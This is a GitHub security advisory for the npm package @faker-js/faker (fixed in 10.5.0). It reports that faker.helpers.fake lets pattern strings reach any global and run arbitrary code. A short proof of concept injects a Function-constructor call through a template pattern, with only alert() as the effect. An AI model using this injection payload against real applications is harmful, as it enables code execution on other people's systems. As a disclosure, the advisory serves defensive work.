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GHSA-qxc2-j82w-r537

Faker: helpers.fake exploitable into arbritary code execution

Source: GitHub Advisory Database (reviewed) High CVE-2026-73231

Packages

EcosystemPackageAffectedFixed in
npm @faker-js/faker < 10.5.0 10.5.0

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary `faker.helpers.fake` can be tricked into arbritary code execution. ### Details fakeEval.resolveProperty resolves properties on functions itself instead of resolving the nested function first. This can be addressed by recursively calling resolveProperty instead of accessing the property after one iteration. ### PoC Go to https://fakerjs.dev/ Open Browser console and run ````ts await enableFaker(); // or import faker faker.rawDefinitions.test = (() => () => {}); // Any function that returns a function faker.helpers.fake(`{{test.constructor(alert('PowerLevel: Eval'))}}`); ```` ### Impact The Fake method claims: > It is also NOT possible to use any non-faker methods or plain javascript in such patterns. Which is objectively false, since any global gets fully accessible in the fake string.

References

External links from the advisory. They lead to third-party sites.